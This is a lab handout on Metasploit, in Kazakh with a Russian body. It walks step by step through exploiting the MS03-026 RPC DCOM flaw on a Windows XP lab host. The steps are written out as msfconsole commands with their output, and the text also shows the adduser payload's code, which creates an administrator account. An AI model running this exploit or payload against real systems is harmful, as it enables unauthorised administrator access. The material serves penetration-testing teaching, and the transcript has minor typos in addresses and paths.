Практикалық сабақ №7: Metasploit Framework осалдықты анықтау

Перед тем как применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита. Пройдемся по некоторым командам, которые применяются вместе с эксплоитами.

Список команд, которые будут полезны при использовании эксплоита:

msf > show exploits и **msf > show payloads** – эти две команды показывают список доступных эксплоитов и payloads.

msf > search exploit – команда будет искать конкретный эксплоит, например:

```
msf > search ms03_026_dcom

Matching Modules

================

Name                                  Disclosure Date  Rank    Description

----                                  ---------------  ----    -----------

exploit/windows/dcerpc/ms03_026_dcom 2003-07-16       great   Microsoft RPC DCOM
```

msf > use exploit – команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться, например:

```
msf > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >
```

show options – команда показывает, какие доступные опции или параметры используются в эксплоите. К ним относятся: IP-адрес, порты, потоки и т.п. Параметры, которые отмечены **yes**, должны обязательно иметь значения, чтобы эксплоит заработал, например:

```
msf exploit(ms03_026_dcom) > show options


Module options (exploit/windows/dcerpc/ms03_026_dcom):


Name   Current Setting   Required   Description

----   ---------------   --------   -----------

RHOST                    yes        The target address

RPORT  135               yes        The target port
```

set – эта команда задает значения для параметров/опций в эксплоите, см. след. команду:

```
msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST =>102.168.56.102
msf exploit(ms03_026_dcom) >
```

Есть дополнительные команды: **setg** и **unsetg**. Они применяются, когда хотим изменить глобальные параметры, используемые в *msfconsole*. Позволяют чуть-чуть сэкономить время.

show targets – каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

```
msf exploit(ms03_026_dcom) > show targets


Exploit targets:


  Id   Name
  --   ----
  0    Windows NT SP3-6a/2000/XP/2003 Universal
```

Видим, что *dcom exploit* подходит для нескольких версий Windows.

Пен-тест Windows XP SP2

Будем считать, что сканирование целевой системы произведено и вся информация о ней собрана.

Основная задача будет заключаться в эксплоита, который будет использован на машине Windows XP SP2. Вы можете просмотреть директорию */exploits/windows* или просто выполнить поиск по доступным эксплоитам для платформы Windows XP. Для проникновения на целевую машину, здесь мы будем использовать RPC *dcom* уязвимость. Давайте произведем поиск по RPC dcom, используя след. команду:

```
msf > search dcom
Matching Modules
================


Name                                    Disclosure Date  Rank   Description
----                                    ---------------  ---    -----------
exploit/windowsdcerpc/ms03_026_dcom     2003-07-16       great  Microsoft RPC
exploit/windows/driver/broadcom_wifi_ssid 2006-11-11     low    Broadcom Wireless
exploit/windows/smb/ms04_031_netdde     2004-10-12       good   Microsoft NetDDE
```

Как видим, поиск выдал нам три результата. Мы будем использовать первый, так как его **Rank = greate**. Следовательно у нас будет больше шансов взломать цель.

Теперь активируем эксплоит выполнив след. команду:

```
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
```

Далее настроим параметры/опции эксплоита. Команда *show options* выдаст список доступных параметров:

```
msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOST                    yes       The target address
  RPORT 135                yes       The target port

Exploit target:
  Id  Name
  --  ----
  0   Windows NT SP3-6a/2000/XP/2003 Universal
```

RHOST (remote host) обозначает IP-адрес хоста (наша цель). *RPORT* (remote port) – порт удаленного хоста. По умолчанию *RPORT* = 135. Для того, чтобы эксплоит запустился, нам нужно указать IP-адрес для *RHOST*:

```
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST =>192.168.56.102
msf exploit(ms03_026_dcom) >
```

Стоит отметить, что *ms03_026_dcom* exploit имеет **ID = 0**. Это означает, что нам не нужно указывать, какая из Windows запущена на целевой машине. Эксплоит будет работать на любой Windows, которые в нем перечислены. В противном случае нам нужно было бы использовать команду *show targets*, чтобы указать конкретную ОС.

Теперь, когда значение *RHOST* установлено, можем попытаться запустить exploit, но получим ошибку. Так как мы не указали *payload*.

Следующий шаг, который мы должны сделать, это выбрать соответствующий *payload*. Мы можем воспользоваться командой *show payloads*, чтобы посмотреть список доступных *payloads*. Начнем с простого примера — **windows/adduser**. Этот *payload* добавит нового пользователя на целевую систему:

```
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD =>windows/adduser
```

Теперь, если мы снова введем команду show options, появится список параметров для эксплоита, а также для payload'а:

```
Payload options (windows/adduser):
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  thread            yes       seh, thread, process, none
PASS      metasploit        yes       password for this user
USER      metasploit        yes       The username to create
```

Как видим логин и пароль уже заданы – *metasploit*. Можем поменять их командами ***set PASS*** и ***set USER***.

Теперь все готово для запуска эксплоита:

```
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135]
...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135]
...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
```

Последняя строка говорит на о том, что эксплоит выполнился успешно. Теперь на целевой машине добавлен новый пользователь. Вывод также говорит о том, что сессия не была создана, это объясняется тем, что в payload мы указали только *adduser*. Таким образом после завершения эксплоита, соединение будет завершено. В след. рецепте мы будем использовать *payload* для создания сессии.

Чтобы узнать больше об этой уязвимости, посетите Microsoft Security Bulletin — http://technet.microsoft.com/en-us/security/bulletin/ms03-026

Для того, чтобы понять, как работает *adduser payload*, проанализируйте след. Ruby код:

```
root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb

The following part of the code that is of interest for us:

# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length >14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD &&" +
"net localgroup Administrators #{user} /ADD"
end
```

Код простой и содержит комментарии, проблем возникнуть не должно. Можете с ним поиграться, чтобы лучше понять, как работает(ют) payload(s).

Өзіндік жұмыс

1)https://cryptoworld.su/metasploit-penetration-testing-cookbook-%D1%87%D0%B0%D1%81%D1%82%D1%8C-3/ - сілтемесі негізінде мақаламен танысу және осы жұмыстарды практикада тестілеу.